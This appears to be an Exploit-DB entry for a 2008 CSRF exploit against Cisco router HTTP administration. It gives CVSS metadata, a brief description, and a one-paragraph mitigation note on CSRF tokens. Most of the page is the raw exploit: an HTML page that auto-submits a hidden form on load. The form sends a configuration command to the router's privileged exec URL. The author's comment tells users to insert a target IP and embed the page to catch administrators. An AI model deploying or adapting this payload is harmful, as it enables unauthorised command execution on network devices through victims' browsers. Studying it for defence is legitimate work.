Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #2

vendor:

Router

by:

Jeremy Brown

9.3

CVSS

HIGH

Cross-site request forgery (CSRF)

352

CWE

Product Name: Router

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Safari

2008

Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #2

This exploit allows an attacker to execute arbitrary commands on a vulnerable Cisco router via a CSRF attack. The attacker must first embed the exploit code in a web page and then hope for the best. Cisco Admin's + Safari are the best targets for this exploit.

Mitigation:

The best way to mitigate CSRF attacks is to ensure that all requests are accompanied by a unique token that is only known to the legitimate user. This token should be checked on the server side before any action is taken.

Source

Exploit-DB raw data:

<!-- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]
     Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #2
     Replace "10.10.10.1" with the IP address of the target router, embed this in a web
     page and hope for the best. Cisco Admin's + Safari are the best targets ;) -->


<html>
<body>

<body onload="fdsa.submit();">



<form name=fdsa method="post" action="http://10.10.10.1/level/15/exec/-/configure/http">

<input type=hidden name=command value="alias exec xx xx">



<input type=hidden name=command_url     value="/level/15/exec/-">
<input type=hidden name=new_command_url value="/level/15/configure/-">

</body>
</html>

# milw0rm.com [2008-09-17]